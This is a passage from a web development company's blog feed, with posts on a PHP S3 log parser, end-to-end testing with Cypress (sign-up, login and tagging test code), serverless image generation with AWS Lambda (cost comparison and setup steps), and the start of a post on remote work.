<p>Note: If you don&rsquo;t have a bucket already you have to <a href="https://docs.aws.amazon.com/AmazonS3/latest/gsg/SigningUpforS3.html" target="_blank" rel="noopener noreferrer">sign up</a> for a new Amazon AWS account and <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html?icmpid=docs_iam_console" target="_blank" rel="noopener noreferrer">obtain your credentials</a>. Once you&rsquo;re ready with this step and have an active S3 account you can proceed to create your bucket via the <a href="https://docs.aws.amazon.com/AmazonS3/latest/gsg/CreatingABucket.html" target="_blank" rel="noopener noreferrer">AWS Management Console</a>. Then finally you have to <a href="https://docs.aws.amazon.com/AmazonS3/latest/user-guide/server-access-logging.html" target="_blank" rel="noopener noreferrer">enable logging</a> so S3 will start to deliver access logs for your source bucket to a target bucket that you choose. Otherwise our parser won&rsquo;t be able to access the information you need.</p>
<pre>&lt;?php

use S3LogsParser\S3LogsParser;

$S3LogsParser = new S3LogsParser([
    'version' =&gt; 'latest',
    'region' =&gt; $awsBucketRegion,
    'access_key' =&gt; $awsAccessKey,
    'secret_key' =&gt; $awsSecretKey,
]);

$output = $S3LogsParser-&gt;getStats($awsBucketName, $awsBucketPrefix, $date);
dd($output);</pre>
<p>In order to initialize the service you will need a few input parameters - the details of the bucket itself and a few access keys parameters which you can obtain from AWS. Then you can easily use the parser object to collect the stats you need. The output of the result should look like this:</p>
<pre>{
    "success":true,
    "statistics":{
        "bucket":"bn-test",
        "prefix":"bp-2018-10-31",
        "data":{
            "test.png":{
                "downloads":4,
                "bandwidth":4096
            },
            "test2.png":{
                "downloads":2,
                "bandwidth":2048
            }
        }
    }
}</pre>
<p>If you are having any troubles, please don&rsquo;t hesitate to open a ticket on GitHub - <a href="https://github.com/mtrdesign/s3-logs-parser/issues" target="_blank" rel="noopener noreferrer">https://github.com/mtrdesign/s3-logs-parser/issues</a></p>]]></content:encoded>
            </item>
                    <item>
                <title>On a way to find the perfect e2e testing tool</title>
                <link>https://mtr-design.com/news/on-a-way-to-find-the-perfect-e2e-testing-tool</link>
                <guid>https://mtr-design.com/news/on-a-way-to-find-the-perfect-e2e-testing-tool</guid>
                <pubDate>Fri, 03 Jul 2020 12:00:00 +0000</pubDate>
                <dc:creator>Valentin Kirilov</dc:creator>
                <description><![CDATA[<p>We always keep in mind the importance of testing our products especially when it comes to big projects with longer development time and dynamically changing requirements. Taking this into account we decided to try a new testing approach in one of our latest projects.</p>]]></description>
                <content:encoded><![CDATA[<p>Over the years we have worked on tons of different projects and lots of them challenged us to acquire new skills. Our team always embraces the chance to improve and develop the services we provide.</p>
<p>We mainly focus on satisfying the functional requirements of our clients (and getting things done) but we always keep in mind the importance of testing our products especially when it comes to big projects with longer development time and dynamically changing requirements. Taking this into account we decided to try a new testing approach in one of our latest projects.</p>
<p>The project in question is a marketing platform for real estate professionals that combines social media posting &amp; scheduling, image/video content creation, turnkey websites, and email &amp; SMS marketing. As for the tech stack - the main web application is built with Laravel + Vue.js, with a bunch of microservices written in Python and Go.</p>
<p>We have good experience with the standard approaches for testing such web projects, both the smaller and granular unit and feature <a href="https://laravel.com/docs/7.x/http-tests" target="_blank" rel="noopener noreferrer">http</a> tests with <a href="https://phpunit.de/" target="_blank" rel="noopener noreferrer">PHPUnit</a>, and the more complex browser tests with tools like <a href="https://docs.behat.org/en/latest/" target="_blank" rel="noopener noreferrer" title="Behat">Behat</a> or <a href="https://laravel.com/docs/dusk" target="_blank" rel="noopener noreferrer" title="Dusk">Dusk</a>. All of those methods are great but we have experienced one particular problem in the past, the bigger the project - the slower the build. Yet we couldn&rsquo;t skip the testing process so we decided to try a different approach. In order to ensure the quality of the application and to reduce the regression bugs we would stick only to e2e testing. This time we wanted to build a standalone testing environment which would not depend on the code itself. Our ultimate goal is to be able to test the system as it is available to the end users, so we can ensure that the onboarding process of every new user is working as expected. In particular we wanted to cover all main cases of usage and the whole array of features in the specific user journey workflow.</p>
<p>Last but not least we wanted to experiment with new tools and to extend our tech stack. The JavaScript world is still booming and there are a lot of great services out there, so we decided to see what the market is offering and choose the best e2e testing library to build a standalone automated testing environment instead of the repeatable manual user testing cycle. And so began our search for the best tool we could use in our case.</p>
<h2>Chapter 1: Cypress</h2>
<p>Our first choice was <a href="https://www.cypress.io/" target="_blank" rel="noopener noreferrer">Cypress</a>. It was allegedly a fast, easy and reliable testing tool for anything that runs in a browser. Besides the expected testing features (such as toolkit with wide range of assertions and possibilities to write tests, test runner with support for multiple browsers and different types of reports generation) this library provides a few game changers which makes it stand out. Cypress takes snapshots as your tests run so you can time travel to see exactly what happened at each step of your tests. It offers great debugging capabilities as well. Stop guessing why your tests are failing - debug directly from familiar tools like Chrome DevTools, which provides readable errors and stack traces making debugging lightning fast. Furthermore there is built-in support for taking screenshots of the failed tests and even videos of entire test suites (handy, right?). All of those marketing hooks seemed attractive enough so we decided to give Cypress a try.</p>
<h3>Getting started with Cypress</h3>
<p><em>Note: The purpose of this article is to review the different testing libraries and provide you with some feedback so you can choose the right tool for your case. Thus you cannot consider that this article is a tutorial or step-by-step guide. If you need some official guidelines you can visit the Cypress&rsquo; page and read the <a href="https://docs.cypress.io/guides/overview/why-cypress.html" target="_blank" rel="noopener noreferrer">official docs</a>.</em></p>
<p>Our first task is to download and set up the required dependencies and because we&rsquo;re in the JavaScript world now we simply have to rely on npm (at least it was our choice, you can see how to do it or what are all available methods <a href="https://docs.cypress.io/guides/getting-started/installing-cypress.html#System-requirements" target="_blank" rel="noopener noreferrer">here</a>). It may take a while (depending on your internet connection) but soon you&rsquo;ll be ready to write your first test.</p>
<pre class="language-javascript"><code>describe('Home Page', () =&gt; {
  it('should load successfully', () =&gt; {
    cy.visit('/');
 
    cy.get('.description h1')
      .should(($item) =&gt; {
        expect($item).to.contain('Hello world!');
      });
  });
});</code></pre>
<p>As you can see it comes with clean and descriptive BDD syntax which makes it easy to read and understand every step of your tests. You can interact with the web page with standard query selectors and use a predefined set of assertions in order to verify whether a specific action has been performed, i.e. to verify whether the expected results are met. One more thing to acknowledge - there is built-in smart automatic waiting. You don&rsquo;t have to add waits or sleeps to your tests (it&rsquo;s kind of a nightmare with all of those asynchronous actions). Cypress automatically waits for commands and assertions before moving on which in my opinion makes the job much easier (yeah, no more async hell). Well, we&rsquo;re ready to move on and run our first test, I know you&rsquo;re all curious to see the test runner.</p>
<p><img src="/storage/var/images/news/the-perfect-e2e-testing-tool/cypress-test-runner.jpeg" alt="" width="1038" height="440" /></p>
<p>As you can see on the screenshot above, it does not simply run a browser and execute the set of actions in the tests, it also provides a UI wrapper with details for all tests and steps. You can click on each action and the preview will automatically time travel to the captured snapshot so you can inspect carefully and see the state of your app at every moment (usually the other test services simply report the error in the console and you have to replicate the issue by yourself). This tool is helpful first when you write scenarios or later when you have to debug some of the failed tests but you can omit it and start the test runner headlessly when you are ready to integrate it into your build process.</p>
<h3>Let&rsquo;s add some real world tests</h3>
<p>We&rsquo;ve got Cypress up and running so we can go further and test some real world scenarios containing more interactions with the webpages. Usually you&rsquo;ll have at least one form in your website (in our project we&rsquo;ve got a lot) so it&rsquo;s a good start to test the capabilities of the framework. For example we will use our Sign Up form because it&rsquo;s made up of fields of different types, and gives us plenty of different components to work with.</p>
<pre class="language-javascript"><code>import faker = require('faker');
 
describe('Sign Up Page', () =&gt; {
 
  const formValues = {
    firstName: faker.name.firstName(),
    lastName: faker.name.lastName(),
    companyName: faker.lorem.company(),
    email: faker.internet.email(),
    phone: faker.phone.phoneNumber(),
    city: faker.address.city(),
    state: 'California',
    marketingStrategies: ['Website']
  };
 
  it('should submit the form successfully', () =&gt; {
    cy.visit('/signup');
 
    cy.get('#registration--first-name')
      .type(formValues.firstName)
      .should('have.value', formValues.firstName);
 
    // skipped some input fields...
 
    cy.get('#registration--state')
      .select(formValues.state, { force: true })
      .should('have.value', formValues.state);
 
    cy.get('form').submit();
 
    cy.get('.alert.alert-success')
      .should('be.visible')
      .should(($alert) =&gt; {
        expect($alert).to.contain('Message for the results');
      });
 });
 
});
</code></pre>
<p>The workflow is simple and straightforward - visit a page, select the different input fields, add some test values, finally submit the form and check for a successful message. You may notice that we are using <a href="https://github.com/marak/Faker.js/" target="_blank" rel="noopener noreferrer">faker.js</a> in order to generate dummy test values. This way we don&rsquo;t stick to hard-coded values which will remain fixed forever. Also, by using different values on every execution, we may increase our chance to catch some corner cases. The other thing in the above example which may draw your attention is that we force the selection of the select element value. The reason for this is that we&rsquo;re not using a standard select element for this particular field, instead we rely on the <a href="https://select2.org/" target="_blank" rel="noopener noreferrer">select2</a> library which provides a more complex component with a rich set of additional features (if you&rsquo;re not familiar with it you should definitely take a look). Still it&rsquo;s a select element. Well with a lot of additional helper markup, but yet a select tag so we can target it the same way as the standard html elements. The only difference is that we have to force the change of the value because it has to propagate the event to the whole chain.</p>
<pre class="language-javascript"><code>it('should report form errors on submit if provided empty form', () =&gt; {
   cy.visit('/signup');
 
   cy.get('form').submit();
 
   cy.get('.alert.alert-danger').should('be.visible');
 
   cy.get('.alert.alert-danger ul &gt; li')
     .should(($list) =&gt; {
       expect($list).to.have.length(8)
       expect($list.eq(0)).to.contain('The first name field is required.');
       expect($list.eq(1)).to.contain('The last name field is required.');
       expect($list.eq(2)).to.contain('The company name field is required.');
       expect($list.eq(3)).to.contain('The email field is required.');
       // ...
     });
 });
</code></pre>
<p>Of course sometimes things mess up so we won&rsquo;t forget to add a bunch of negative tests. We will use the occasion to show the handy syntax when you want to assert multiple expectations of fields which belong to the same query selector. Before we dive deeper into even more complex test scenarios have a break and take a look again at the awesome test runner.</p>
<p><video width="955" height="603" style="max-width: 100%; height: auto;" controls="controls">
  <source src="/storage/var/images/news/the-perfect-e2e-testing-tool/cypress-test-runner-time-travel.webm" type="video/webm" />
Your browser doesn't support this video format.</video></p>
<h3>Test protected routes and complex workflows</h3>
<p>Our tests are executed in an isolated environment which slightly differs from the real website usage. In this case there are a lot of prerequisite steps which are required in order to test some scenarios. One of the most common examples is that of features hidden behind protected routes. As a user you have to login to the site once and then you can use all of its features but we can&rsquo;t apply the same logic when we write our tests. Also we can&rsquo;t afford to open the login UI, to fill and submit the form before every test, this will add an enormous overhead which will significantly slow down the whole process. Fortunately there is a solution how to avoid such complications - <a href="https://docs.cypress.io/api/commands/request.html#Syntax" target="_blank" rel="noopener noreferrer">Browser Requests</a> and <a href="https://docs.cypress.io/api/cypress-api/custom-commands.html#Syntax" target="_blank" rel="noopener noreferrer">Custom Commands</a>.</p>
<pre class="language-javascript"><code>Cypress.Commands.add('login', (user) =&gt; {
  if (!user) {
    user = Cypress.env('user');
  }
 
  cy.request('/signin')
    .its('body')
    .then((body) =&gt; {
      const $html = Cypress.$(body)
      const csrf = $html.find('input[name=_token]').val()
 
      cy.request({
        method: 'POST',
        url: '/login',
        failOnStatusCode: false,
        form: true,
        body: {
          email: user.email,
          password: user.password,
          _token: csrf,
        },
      }).then((resp) =&gt; {
        expect(resp.status).to.eq(200);
      });
 });
 
});</code></pre>
<p>Cypress comes with its own API for creating custom commands which can be used to define a specific set of actions reusable across your test suites. This allows us to define a login command and use it later when we have to test some of the features for the authenticated users. Also, you can see that this command is not interacting with the UI (almost*). Then we send a direct POST request to the login route with the valid credentials in order to authenticate the user without any interaction with the UI (at least we don&rsquo;t type in values in the input fields). Now we can use the command in our tests before the actual test logic.</p>
<p><em>*Note: We have to fetch the markup of the login form in order to obtain the security csrf token, otherwise we can&rsquo;t submit the form successfully. But this is only because we&rsquo;re using Laravel, you can omit this part if you can authenticate your users only with their credentials.</em></p>
<pre class="language-javascript"><code>beforeEach(() =&gt; {
  cy.login(user);
});</code></pre>
<p>Cypress support hooks, blocks which are executed before/after a specific test/suite (you may be familiar with them, such hooks are widely supported across many other testing frameworks like Jasmine, Mocha, etc.) and we think it&rsquo;s the best place to use our login command. This way we ensure that all of the tests inside the current suite will be executed for successfully authenticated users without unnecessary code duplications. You may notice that we are using another unknown method in the command snippet above. Cypress comes with a built-in support for <a href="https://docs.cypress.io/guides/guides/environment-variables.html#Setting" target="_blank" rel="noopener noreferrer">environment variables</a> so you can use them to provide some non-static data to your tests. In our case, we use env variables to obtain the default user credentials so we don&rsquo;t have to hardcode any production data in the codebase.</p>
<pre class="language-javascript"><code>{
  "baseUrl": "http://localhost:8000",
  "user": {
    "email": "user@mtr-design.com",
    "password": "our-secure-password"
  }
}</code></pre>
<p>Once we are ready with all of those pre-conditions we can finally try to execute some slightly more complicated tests. Our goal is to verify whether Cypress is able to interact with as many different page components as possible. We&rsquo;ve got a perfect match for this job, here is the workflow that we&rsquo;ll try to cover:</p>
<ol>
<li>Login to the application (use the command instead of real login via the UI)</li>
<li>Go to a specific listing page with multiple records</li>
<li>Interact with table element, select a few rows via checkbox elements</li>
<li>Open a modal and wait it to fetch its body from the server (it&rsquo;s dynamic, so again this is an async operation)</li>
<li>Use a Select2 component in order to apply some changes and submit an inline form. Wait for the response of the async submission, verify the results and close the modal.</li>
<li>Verify whether the performed changes are applied by inspecting the UI of the page after reload.</li>
</ol>
<pre class="language-javascript"><code>it('should assign multiple tags to a contact', () =&gt; {
   cy.visit('/profile/contacts');
 
   for (let i=1; i &lt;= 3; ++i) {
     cy.get('#contacts-table tr').eq(i)
       .find('td input[type="checkbox"]')
       .check()
       .should('be.checked');
   }
 
   cy.get('.btn-manage-tags').click();
   cy.get('#modal-global').should('be.visible');
 
   const tag1 = faker.random.word();
   const tag2 = faker.random.word();
 
   cy.get('#contact--tags + .select2')
     .click()
     .find('input.select2-search__field')
     .type(`${tag1}{enter}`);
 
   cy.get('#contact--tags')
     .invoke('val')
     .should('deep.equal', [tag1]);
 
   cy.get('#contact--tags + .select2')
     .click()
     .find('input.select2-search__field')
     .type(`${tag2}{enter}`);
 
   cy.get('#contact--tags')
     .invoke('val')
     .should('deep.equal', [tag1, tag2]);
 
   cy.get('#form--contacts-tags')
     .submit();
 
   cy.get('#form--contacts-tags .alert.alert-success')
     .should('be.visible')
     .should(($alert) =&gt; {
       expect($alert).to.contain('The tags have been successfully changed.');
     });
 
   cy.get('#form--contacts-tags .btn[data-dismiss="modal"]').click();
   cy.get('#modal-global').should('be.not.visible');
 
   for (let i=1; i &lt;= 3; ++i) {
     cy.get('#contacts-table tr').eq(i)
       .find('td .badge')
       .should(($badges) =&gt; {
         expect($badges).to.have.length(2);
         expect($badges.eq(0)).to.contain(tag1);
         expect($badges.eq(1)).to.contain(tag2);
       });
   }
});
</code></pre>
<p>The purpose of this code snippet is to perform the actions described above. You may notice a few new ways to interact with the UI - iteration through multiple objects of the same type via loops and visibility check. In the current case we have to select multiple table rows and we don&rsquo;t have to copy the code N times in order to be sure of the synchronous execution of the statements. We simply can rely on a regular for loop and it does the trick. Also in this test case we introduce another assertion - we check whether a specific element is visible or not. There&rsquo;s nothing special about it but reminds me to give you the complete list of supported <a href="https://docs.cypress.io/guides/references/assertions.html#Chai" target="_blank" rel="noopener noreferrer">Cypress Assertions</a> so you can get familiar with it. And last but not least, take a look again at the test runner and the execution of all those complex steps. Enjoy.</p>
<p><video width="955" height="603" style="max-width: 100%; height: auto;" controls="controls">
  <source src="/storage/var/images/news/the-perfect-e2e-testing-tool/cypress-test-runner-complex.webm" type="video/webm" />
Your browser doesn't support this video format.</video></p>
<p>We can spend more time exploring the abilities of the Cypress library but our goal here is to check multiple services and choose the best one that works for us. So it&rsquo;s time to stop here. We performed various tests and learned how to use basic features and how to construct more complex scenarios. All of those observations are sufficient to conclude that Cypress is a great tool, built with a lot of effort and we would be glad to use it in our project later and so on. It comes with a seamless learning curve, great documentation and a wide community so you can always find the answer of your questions easily.</p>
<p>That&rsquo;s it. Before we proceed to the next tool in our list we&rsquo;ll use the moment to suggest you again to take a look at the Cypress project and give it a try. Let us know if you do this and what your impressions are. We&rsquo;re curious to hear your experience and whether you liked it or not.</p>
<p><strong><a href="/news/on-a-way-to-find-the-perfect-e2e-testing-tool-part-2">Read part 2 of "On a way to find the perfect e2e testing tool"</a></strong></p>]]></content:encoded>
            </item>
                    <item>
                <title>Image generation with AWS Lambda</title>
                <link>https://mtr-design.com/news/image-generation-with-aws-lambda</link>
                <guid>https://mtr-design.com/news/image-generation-with-aws-lambda</guid>
                <pubDate>Tue, 23 Jun 2020 03:00:00 +0000</pubDate>
                <dc:creator>Atanas M</dc:creator>
                <description><![CDATA[<p>While working on a client&rsquo;s project we were confronted with the following task - to generate e-flyers from images uploaded by a user in advance, and add formatted text to it.</p>]]></description>
                <content:encoded><![CDATA[<p>This would be considered a trivial task, if, however, one is aware of all the parameters involved, such as the number of images, the number of customers who will generate them, frequency of generation, simultaneous number of customers, etc. Our project was a launching SaaS platform, which would be aggressively developed and promoted, so there was no way to define these parameters in advance. The only thing that was clear from the start was that the number of users, and the workload respectively, will increase over time.</p>
<h5><strong>Given that our client&rsquo;s entire infrastructure was based in Amazon Web Services (AWS), we were limited to the following options to complete the task:</strong></h5>
<ul>
<li>To use a single EC2 instance;</li>
<li>To create an Auto Scaling Group (ASG) using EC2 instances;</li>
<li>To use Lambda serverless function.</li>
</ul>
<h5><strong>Let's quickly go through these three options and shed some light on the choice we made:</strong></h5>
<ul>
<li>If we choose the option with a single EC2 instance, we should create a really powerful one, because we don&rsquo;t know what the workload would be. This would result in significant bills for our clients and might also bring along problems in case the workload becomes too high for the instance we use. If this happens, we&rsquo;ll have to stop the instance in order to upgrade to a more powerful one, which will lead to additional costs. The load can be reduced at any time, but the service works constantly. Furthermore, some problems might arise with the instance itself, the connection loss in a given area, etc.</li>
<li>Choosing the ASG approach seems a lot better &ndash; we can start with one small (and cheap) EC2 instance, and the group will generate a given number of additional instances, where necessary. Unfortunately, however, this option also has some significant disadvantages &ndash; for example, when shutting down the instances, we don&rsquo;t know which of them exactly will be stopped by the AWS. This means that an instance might be shut down while generating an image, which will create extra work for the dev team to handle such situations and the same e-flyer will be unnecessarily generated twice. Although this option is not pricey, the instance in question is running all the time, which still generates costs regardless of whether it&rsquo;s really needed or not.</li>
<li>The Lambda function. If you&rsquo;re not familiar with it, this function allows you to build some complex functionalities without maintaining any virtual machines yourself. The idea of this service is to perform relatively small tasks, just like the one we have. And its use doesn&rsquo;t generate additional costs &ndash; you can deploy as many Lambda functions as you want, basically for free (using the AWS free tier account), and you are charged only for the real usage of your functions.</li>
</ul>
<p>Needless to say, price is an important factor here, and reducing the clients&rsquo; costs is of utter importance to us. That&rsquo;s why we decided to calculate and compare the prices of different sample loads and decide what would be best approach:</p>
<h5>Bear in mind that:</h5>
<ul>
<li>These calculations are approximate;</li>
<li>They are based on average e-flyer generation time of 5 minutes and 1024Mb of required memory;</li>
<li>The prices don&rsquo;t cover any fees for Elastic Block Storage (ELB), which will further increase the cost of the two options relying on EC2 instances;</li>
<li>Configuring more complex infrastructure and further changes to it generates additional costs (this mainly concerns EC2 and ASG).</li>
</ul>
<table>
<tbody>
<tr>
<td colspan="1" rowspan="1"><strong>Service type</strong></td>
<td colspan="1" rowspan="1"><strong>Note</strong></td>
<td colspan="1" rowspan="1" style="text-align: right;"><strong>Price</strong></td>
</tr>
<tr>
<td colspan="3" rowspan="1" style="text-align: center;">1000 requests / ~ 0.023 requests per minute</td>
</tr>
<tr>
<td colspan="1" rowspan="1">EC2 Instance</td>
<td colspan="1" rowspan="1">t2.large</td>
<td colspan="1" rowspan="1" style="text-align: right;">~ $80.00</td>
</tr>
<tr>
<td colspan="1" rowspan="1">EC2 ASG</td>
<td colspan="1" rowspan="1">t2.small (2 instances on average)</td>
<td colspan="1" rowspan="1" style="text-align: right;">~ $40.00</td>
</tr>
<tr>
<td colspan="1" rowspan="1">Lambda</td>
<td colspan="1" rowspan="1"></td>
<td colspan="1" rowspan="1" style="text-align: right;">~ $0.00</td>
</tr>
<tr>
<td colspan="3" rowspan="1" style="text-align: center;">10 000 requests / ~ 0.23 requests per minute</td>
</tr>
<tr>
<td colspan="1" rowspan="1">EC2 Instance</td>
<td colspan="1" rowspan="1">m5.xlarge</td>
<td colspan="1" rowspan="1" style="text-align: right;">$163.00</td>
</tr>
<tr>
<td colspan="1" rowspan="1">EC2 ASG</td>
<td colspan="1" rowspan="1">m5.large (1.5 instances on average)</td>
<td colspan="1" rowspan="1" style="text-align: right;">$120.00</td>
</tr>
<tr>
<td colspan="1" rowspan="1">Lambda</td>
<td colspan="1" rowspan="1"></td>
<td colspan="1" rowspan="1" style="text-align: right;">$43.00</td>
</tr>
<tr>
<td colspan="3" rowspan="1" style="text-align: center;">100 000 requests per month/ ~ 2.3 requests per minute</td>
</tr>
<tr>
<td colspan="1" rowspan="1">EC2 Instance</td>
<td colspan="1" rowspan="1">m5.8xlarge</td>
<td colspan="1" rowspan="1" style="text-align: right;">~ $1,308.00</td>
</tr>
<tr>
<td colspan="1" rowspan="1">EC2 ASG</td>
<td colspan="1" rowspan="1">m5.large (10 instances on average)</td>
<td colspan="1" rowspan="1" style="text-align: right;">~ $810.00</td>
</tr>
<tr>
<td colspan="1" rowspan="1">Lambda</td>
<td colspan="1" rowspan="1"></td>
<td colspan="1" rowspan="1" style="text-align: right;">~ $493.43</td>
</tr>
</tbody>
</table>
<p>The price differences between the three options speak for themselves, even if we don&rsquo;t include the infrastructure configuration costs. So the obvious choice here is the Lambda function.</p>
<p><em>* In order to calculate these prices, we used the information from the following websites:</em></p>
<ul>
<li><a href="https://www.ec2instances.info/" target="_blank" rel="noopener noreferrer">https://www.ec2instances.info</a></li>
<li><a href="https://dashbird.io/lambda-cost-calculator/" target="_blank" rel="noopener noreferrer">https://dashbird.io/lambda-cost-calculator/</a></li>
</ul>
<p>So, we have chosen the infrastructure for our task. The next step is to think how this task should reach the front-end, where the users upload their images and create e-flyer generation processes. Surely, most of you would say that the obvious solution to this is Amazon Simple Queue Service (SQS). Generally speaking, this service is indeed perfect for the purpose, however, due to the specifics of our project, we&rsquo;ve chosen another approach.</p>
<p>Our front-end uses Laravel, which in turn uses cron. The latter performs different tasks every minute, i.e. we have a resource that is working anyway. So we decided to simply add one more task to the current cron job, which in turn would directly invoke the Lambda function with the required parameters. This may seem like the wrong architecture solution to some of you, but we have a different opinion. Here are some of the reasons why we chose this approach for the project:</p>
<ul>
<li>Using Lambda function with SQS will prolong the application development process, the process of building and configuring the infrastructure, but in the end the result will be the same.</li>
<li>When using cron to directly invoke the Lambda function, Laravel performs only one task, without caring what happens next, which generally means less development time.</li>
<li>Generally speaking, the Lambda function shouldn&rsquo;t have access to the database, but in our case this isn&rsquo;t a problem. This function works on a single project, so it&rsquo;s not intended to work with other databases, nor to be used with other external dependencies. So, in our case, this is a perfectly acceptable compromise.</li>
</ul>
<p>So far, so good &ndash; we have chosen the infrastructure and the way of communication between the systems. We only have to write the Lambda function itself. We decided that the most appropriate way to do it is with Python. Why? Because there are great Python image processing libraries, the code is easy to write and maintain, and also easy to debug.</p>
<p>So from now on, the easiest way to proceed is to simply put in the code we need and let the magic happen. It sounds as easy as pie, but we had several issues to solve first:</p>
<ul>
<li>some of the libraries used by the generator will also be used by other Lambda functions;</li>
<li>we had to provide a connection between the Lambda function and the SQL server, which is located on a separate EC2 instance, without any external access to it;</li>
<li>we had to find a way to make the Lambda function use the images uploaded by the users, and to save them in a way which allows the front-end to access them.</li>
</ul>
<p>We solved the first issue by creating a Lambda layer for storing the packages we need. Actually, this isn&rsquo;t as simple as it seems, because if some of the libraries you use are dependent on the operating system they are working on, they must be compiled on this specific OS. And as Lambda functions use AWS Linux, there are two ways to compile such libraries:</p>
<ul>
<li>creating an EC2 instance using AWS Linux AMI, and terminating it after you&rsquo;re done (<a href="https://aws.amazon.com/amazon-linux-ami/" target="_blank" rel="noopener noreferrer">https://aws.amazon.com/amazon-linux-ami/</a>);</li>
<li>using Docker with AWS Linux, so that you can compile the libraries you need on your local machine (<a href="https://hub.docker.com/_/amazonlinux" target="_blank" rel="noopener noreferrer">https://hub.docker.com/_/amazonlinux</a>).</li>
</ul>
<p>Another thing worth noting is that when you use Lambda Layer(s), Python may not find the libraries you need. So, you should add a variable PYTHONPATH with value /opt/ to your Environment variables.</p>
<p>In regards to the problem with accessing the database - if your database is created in an Amazon Virtual Private Cloud (VPC) with no access from the Internet, you will also need to configure the access to your VPC from the settings of the Lambda function (you can check&nbsp;<a href="https://docs.aws.amazon.com/lambda/latest/dg/configuration-vpc.html" target="_blank" rel="noopener noreferrer">https://docs.aws.amazon.com/lambda/latest/dg/configuration-vpc.html</a>&nbsp;for more details on how to do this).</p>
<p>So, the only thing that&rsquo;s left is the issue with the access to the images, and we decided to use Amazon Simple Storage Service (S3). On the one hand, this would allow serving the images directly to the users&rsquo; browsers without causing any load on our servers, and on the other, we would have access to them from different applications without having to complicate the application code unnecessarily.</p>
<h5><strong>And finally, here are the exact steps to create a Lambda function with the AWS web console:</strong></h5>
<h5>1. First, go to Lambda menu -&gt; Functions -&gt; Create a Function</h5>
<p><img src="/storage/var/images/news/image-generation-with-lambda/1-create-function.png" alt="" width="1200" height="1166" /></p>
<h5>2. Choose the programming language and the name of your function. In case you wish to use a specific role of the function, select &lsquo;Choose or create an execution role&rsquo;</h5>
<p><img src="/storage/var/images/news/image-generation-with-lambda/2-basic-info.png" alt="" width="1200" height="389" /></p>
<h5>3. Add the respective variables which will be used by the Lambda function code:</h5>
<p>Choose edit environment variables from the page of the function</p>
<p><img src="/storage/var/images/news/image-generation-with-lambda/3-variables.png" alt="" width="1200" height="70" /></p>
<p>Add the respective variables from the page which will load</p>
<p><img src="/storage/var/images/news/image-generation-with-lambda/4-variable-details.png" alt="" width="863" height="983" /></p>
<h5>4. In order to connect to instances in some of the virtual private clouds (VPC) you use, you should add VPC and follow the instructions on the webpage.</h5>
<p><img src="/storage/var/images/news/image-generation-with-lambda/5-vpc.png" alt="" width="1200" height="50" /></p>
<h5>5. Then, you may use a similar code to connect to the AWS resources database. To this end, we use Python packages pymysql and boto3.</h5>
<pre>import os<br />import dotenv<br />import boto3<br />import pymysql.cursors<br /><br />dotenv.load_dotenv()<br />MYSQL_HOST = str(os.getenv('MYSQL_HOST'))<br />MYSQL_USERNAME = str(os.getenv('MYSQL_USERNAME'))<br />MYSQL_PASSWORD = str(os.getenv('MYSQL_PASSWORD'))<br />MYSQL_DATABASE = str(os.getenv('MYSQL_DATABASE'))<br />MYSQL_PORT = int(os.getenv('MYSQL_PORT'))<br />AWS_ACCESS_KEY_ID = str(os.getenv('CUSTOM_AWS_ACCESS_KEY_ID'))<br />AWS_SECRET_ACCESS_KEY = str(os.getenv('CUSTOM_AWS_SECRET_ACCESS_KEY'))<br />AWS_DEFAULT_REGION = str(os.getenv('CUSTOM_AWS_DEFAULT_REGION'))<br />AWS_BUCKET = str(os.getenv('AWS_BUCKET'))<br /><br />mysql = pymysql.connect(<br />	host=settings.MYSQL_HOST,<br />	user=settings.MYSQL_USERNAME,<br />	password=settings.MYSQL_PASSWORD,<br />	db=settings.MYSQL_DATABASE,<br />	port=settings.MYSQL_PORT,<br />	charset='utf8mb4',<br />	cursorclass=pymysql.cursors.DictCursor,<br />	autocommit=True<br />    <br />s3 = boto3.client(<br />	's3',<br />	settings.AWS_DEFAULT_REGION,<br />	aws_access_key_id=settings.AWS_ACCESS_KEY_ID,<br />	aws_secret_access_key=settings.AWS_SECRET_ACCESS_KEY,<br />)</pre>
<h5>6. Adding a Layer</h5>
<p>Whereas the boto3 package doesn&rsquo;t require any further actions, the pymysql requires installation. So, if you are going to use it in more than one function, you may configure it as a Layer. In order to do that, use the button &lsquo;Create layer&rsquo; from the Lambda menu -&gt; Layers.</p>
<p><img src="/storage/var/images/news/image-generation-with-lambda/6-layer.png" alt="" width="1200" height="50" /></p>
<p>Then, in the page which will load, you should fill out the name of the Layer, the environment in which it will be used (in our case - Python 3.7), as well as a description and a license, if you wish. Do have in mind that packages larger than 50Mb have to be uploaded in S3 beforehand.</p>
<p><img src="/storage/var/images/news/image-generation-with-lambda/7-layer-details.png" alt="" width="863" height="786" /></p>
<p>Then, from the function you configured, use the Layers button to add the layer you&rsquo;ve just created:</p>
<p><img src="/storage/var/images/news/image-generation-with-lambda/8-add-layer.png" alt="" width="1200" height="530" /></p>
<h5>7. And finally, here is how the new Lambda function looks like:</h5>
<p><img src="/storage/var/images/news/image-generation-with-lambda/9-function-details.png" alt="" width="1200" height="1269" /></p>
<p>The example presented above is of course simplified and incomplete &ndash; after all, it&rsquo;s intended to provide you with a general idea of how to generate images with AWS Lambda and the steps you need to follow.</p>
<p>In order to use your new function, you&rsquo;ll need its ARN (Amazon Resource Name), which is located at the upper end of the page:</p>
<p><img src="/storage/var/images/news/image-generation-with-lambda/10-arn.png" alt="" width="1200" height="54" /></p>
<p>We should also note that the way to call the function will vary, depending on the environment in which you will use it.</p>
<p>Most certainly, there are other ways to execute this task. In our view, however, the way we did it could be described as an optimal and stable solution that meets the requirements of our project and minimizes the infrastructure costs. We use it in production for more than four months now, and we haven&rsquo;t encountered any problems, even though the workload is constantly increasing, as we expected.</p>
<p>Last but not least, we haven&rsquo;t reached the free tier limits for the AWS services used for the time being, so the generation of e-flyers in our project is still free.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Working remotely in web development</title>
                <link>https://mtr-design.com/news/working-remotely-in-web-development</link>
                <guid>https://mtr-design.com/news/working-remotely-in-web-development</guid>
                <pubDate>Fri, 12 Jun 2020 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>As a web development company operating remotely for 12 years now, we passionately believe that remote is the new normal. So, here, we'd like to share our own experience with remote work, and why we prefer keeping it that way.</p>]]></description>
                <content:encoded><![CDATA[<h2>Remote vs. on-site work&nbsp;</h2>
